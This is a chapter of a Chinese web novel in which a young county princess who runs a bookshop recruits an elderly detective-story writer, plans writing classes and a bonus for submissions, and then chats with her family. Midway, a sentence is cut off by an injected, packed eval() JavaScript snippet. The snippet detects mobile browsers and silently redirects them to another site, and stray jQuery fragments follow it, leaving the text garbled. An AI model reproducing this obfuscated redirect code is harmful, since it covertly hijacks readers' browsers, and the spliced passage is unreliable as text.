一场热闹看完了,三人也回了雅间。李铮有些没想到,自己的小举动竟能对别人产生这么大的影响,能直接改变这祖孙俩的生活。
一时间三人都没说话。
过了会,云秀突然出声了:“阿铮,你真厉害,敢想敢做,我也想成为像你这样的人。”
宝珠:“我也是!可是我想不出自己能做什么。”
李铮被两人说得都有些害羞了:“也没有那么厉害啦,最开始我只是想着自己能有话本看,慢慢地就变成现在这样了。你们两个肯定也可以的。多尝试就好了。”
“什么时候都不会晚,我阿娘爱琢磨衣裳样子,我们家的裁缝铺就是因为这才生意好的。”
“嗯嗯。”两人都重重点头,能有这样的朋友,真好啊。
散场后,李铮又拐去了书铺。她想着,待会儿要是在书铺碰到了那对祖孙,还能给个惊喜。告诉他自己方才都看见了,谢谢他站出来。
书铺里今日人多了些,看来前几天铺子的宣传还是有作用的。
一进书铺,李铮就看到一楼只有桂丫在,张大掌柜可能忙别的去了。至于张大娘子,估计在二楼忙活呢。她的工作需要安静,一楼经常人来人往,所以基本上不下来。
“给县主请安。”两人一到二楼,桂丫就忍不住开口说道:“县主,这两天来铺子里的人多不少呢,有些进来就问我们新话本的进度,知道现在还没出来,有的人还会买之前出的老的。”
李铮听后笑着说道:“不错,以后肯定会卖得越来越好的。有人来问,就算不买,也要好好招待。我去买东西,最讨厌的就是态度不好,哪怕是对着旁人也不行。一点也不赏心悦目。”
桂丫:“县主放心,我们都知道的,就算是买不起书的人,只要不把书弄脏,我们都是随便他们逛的。说不准以后就买得起了。”
李铮:“你们做得很好,以后也要这样,店里的伙计也要像你们一样。”
桂丫连连点头应是,一想到县主也讨厌态度不好的人,她就开心,她和县主一样呢,县主真好。
差点忘了自己是来做什么的,李铮看向桂丫:“对了桂丫,方才进店的人里,可有一对祖孙。老翁头发花白,是写话本的。小孩看起来七八岁。”
桂丫回忆了下前不久进来的人:“县主说的是衣服有些破旧的一对祖孙吗,他们刚进来没多久,这会儿正跟我爹聊着呢。”
李铮:“最近来投稿的人多吗,有没有看到什么还可以的稿子?还有就是,来打听消息的人里面,没经验的大概多少人,有经验的大概多少人。一定要做到心中有数。”
桂丫:“每天大概几十个吧,多少不等。没经验的还不少呢,都是知道我们润笔费新算法后有的念头,县主肯定想不到,现在也有女娘来问了,不过基本都是中年了,年轻小娘子小郎君很少。”
李铮:“正常,这个年龄,有些连话本都看得不多,更别说写话本了。”
桂丫:“是呢,只要是有人来问,就算是小娘子,我也都介绍了一番。就算现在写不出来,说不准以后就可以了。”
“不错。”李铮满意地看向桂丫:“就是要这么做。好好干,说不准以后你就是我铺子里的大掌柜了,和你爹现在一样。”
桂丫激动坏了,她没想到县主这么看好她:“县主放心,我一定会好好干的。”
两人正说这话,张大掌柜和那老丈终于出来了。看到李铮,张大掌柜连忙请安。今日他想着这老丈写话本经验丰富,特意去了雅间细聊。没想到一出来就看到李铮了。
这老丈一听是县主,也连忙低头请安。
张大掌柜看李铮有和这老丈沟通的意思,连忙介绍道:“县主,这是来问话本情况的话本才人,孙才人之前写过不少畅销的话本。”
给李铮介绍完,他又对着这老丈说:“孙才人,这是我们店里的主家,福安县主。最近的润笔费就是县主的主意。”
孙才人有些惊讶地连忙道谢。他实在没想到竟然是李铮要改的。
李铮笑了笑,看向这老丈:“我们各司其职,不必道谢。我也是为了自己能有好话本儿看。”
“我们刚才其实在茶馆见过,只是你没看到我。刚才在茶馆,多谢你仗义执言,站出来了。”
孙才人大吃一惊,连忙行礼:“刚才县主您竟也在,真是万万没想到!失礼失礼。”悄悄用手拍了拍自己,万幸万幸,还好自己刚才在茶馆站出来说话了。要不然岂不是一见面就留个不好的印象。
李铮:“不用多礼,我当时并未露面。你目前写了多少话本了,有没有什么畅销的。”
“老朽写过大几十本了,不过县主您不一定看过。我主要写断案类的。比如《xx探案记》”
“咦——”李铮:“这本竟是你写的吗?我最近刚看过,一朋友给我推荐的,线索环环相扣,很是厉害。”
“不敢当,不敢当。”孙才人可能没被这么直白地当面夸过,笑得很是不好意思。
李铮:“写话本儿你都是自己研究的,还是有人教。”
孙才人:“老朽年轻时的夫子教过一些怎么写故事,不过后来写话本是自己琢磨的。我也写过风月,不过不受欢迎,后来就专门写断案类的了。”
“你的断案类话本儿确实不错。只要水平不下降,在我们这儿肯定能挣不少润笔费,到时候就能好好改善下你们家的生活了。”
李铮忽然想到,她还不知道孙才人写的快不快呢:“一个月,你大概能写多少?”
孙才人:“一个月基本上是一本。断案类话本要花时间布置线索,再加上也不是一直都能写得顺畅。”
李铮:“对了,你大概什么时候能来投稿。”
孙才人:“大概还要十来天,手上这本已经写了一半了。”
“可以可以。”李铮对这个时间还算满意。“你有试过总结经验吗,刚才在茶馆里正好听到有人在问能否传授经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062438|195084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
验,所以我就萌生了这个念头,是不是能试着开一些课,专门讲怎么把故事和话本写好。”
“你不用面面俱到,只讲你擅长的断案类话本就行,不过不用着急,不是现在。”
孙才人脸上有些犹豫,写话本这东西可不是说教就教出来的。有些人就是写不好,他担心万一李铮再怪罪。而且教课还要占用自己写话本的时间。
李铮大概猜出了他的想法:“你放心,教不出来也不会怪罪你,只要是认真传授就行。我只是想着原来会写话本的人少,很多人想写,但是不知道怎么入门。”
李铮:“你开课,书铺会付你学费,所以不用担心教会徒弟饿死师傅,而且写话本这东西本来就看人,每个人悟到的东西不一样。更重要的是,名声打出去了,想必买书的人知道后也会觉得你厉害。”
“不用着急现在做决定,只是说有意愿就先准备着,最早也是一两个月之后的事情了。我们也会去问别的话本才人。所以你不愿意也没事,不会影响你正常投话本。”
孙才人听后连连表示自己会好好考虑的。
送走孙才人祖孙后,李铮忽然想到一件事:“最近一直没什么话本投递,回头铺子外面加条告示,十五天之内,前十本被留用的,额外再付一笔钱,不用太多,只是催下他们,加把火。”
张大掌柜一听,眼前猛地一亮:“县主。您说的没错,我今天就去办。银钱的话,三百文如何?”
“那些以往写得不错的人,若是我们能联系上,就单独给他们送个信。没经验的就不费这个功夫了。”
“可以,就按你说的来。”
“好嘞,我们待会儿就把铺子外面的告示加上。然后明天联系他们。”
事情聊得差不多,李铮也没多待,坐上马车就回家了。
夜里躺在床上,她终于想起被自己抛在脑后的事,一直说给陆祈回信还没回。
毕竟陆祈先前辛辛苦苦整理书单、整理感受、还借书给自己。结果自己这边是一点动静都没,实在说不过去。
正好明天没啥安排,要不就抽点时间写下看书后的感受吧。
正好,写完回信,再让阿娘看看怎么给谢礼合适。
次日清晨,李铮醒得比往常早些,想着要同阿娘说还礼的事,便径直去了饭厅,说不准还能赶上用早饭。
门口的丫鬟见到李铮进来,连忙给她打帘子。
李铮一进去,就开始拽着张氏的衣袖,一边晃一边撒娇:“阿娘早,你不知道我最近有多忙。”
“我们阿铮最近可是个大忙人,名声大得很。最近在外参加聚会,时不时就能听到别人提你的书铺。好些人对你的话本感兴趣。”
弟弟李骁也在,听完就开始大夸:“阿姐,你真厉害。我的那些同学也都想看你出的话本呢!隔壁张涛答应到时候把他新买的蹴鞠球借我两天。”
“那是,我这么厉害。你放心,回来一定第一时间给你们看。”